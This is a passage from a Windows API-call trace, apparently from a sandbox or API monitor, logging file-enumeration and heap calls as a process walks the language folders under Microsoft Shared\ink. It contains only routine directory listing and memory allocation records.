lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.790] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.790] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.790] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.790] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.790] GetProcessHeap () returned 0x550000 [0072.791] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.791] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0072.791] GetProcessHeap () returned 0x550000 [0072.791] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.791] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.791] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.792] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.792] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.792] GetProcessHeap () returned 0x550000 [0072.792] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.792] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0072.792] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0072.793] GetProcessHeap () returned 0x550000 [0072.793] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.793] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.793] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.794] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.794] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.794] GetProcessHeap () returned 0x550000 [0072.794] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.794] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0072.795] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0072.795] GetProcessHeap () returned 0x550000 [0072.795] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.795] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.795] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.796] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.796] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.796] GetProcessHeap () returned 0x550000 [0072.796] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.796] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0072.797] GetProcessHeap () returned 0x550000 [0072.797] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.797] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.798] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.798] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.798] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.798] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.799] GetProcessHeap () returned 0x550000 [0072.799] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.799] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0072.799] GetProcessHeap () returned 0x550000 [0072.799] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.799] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.800] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.800] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.800] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.800] GetProcessHeap () returned 0x550000 [0072.800] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.800] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0072.801] GetProcessHeap () returned 0x550000 [0072.801] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.801] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.801] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.802] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.802] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.802] GetProcessHeap () returned 0x550000 [0072.802] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.802] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0072.802] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0072.803] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0072.803] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0072.803] GetProcessHeap () returned 0x550000 [0072.804] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.804] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 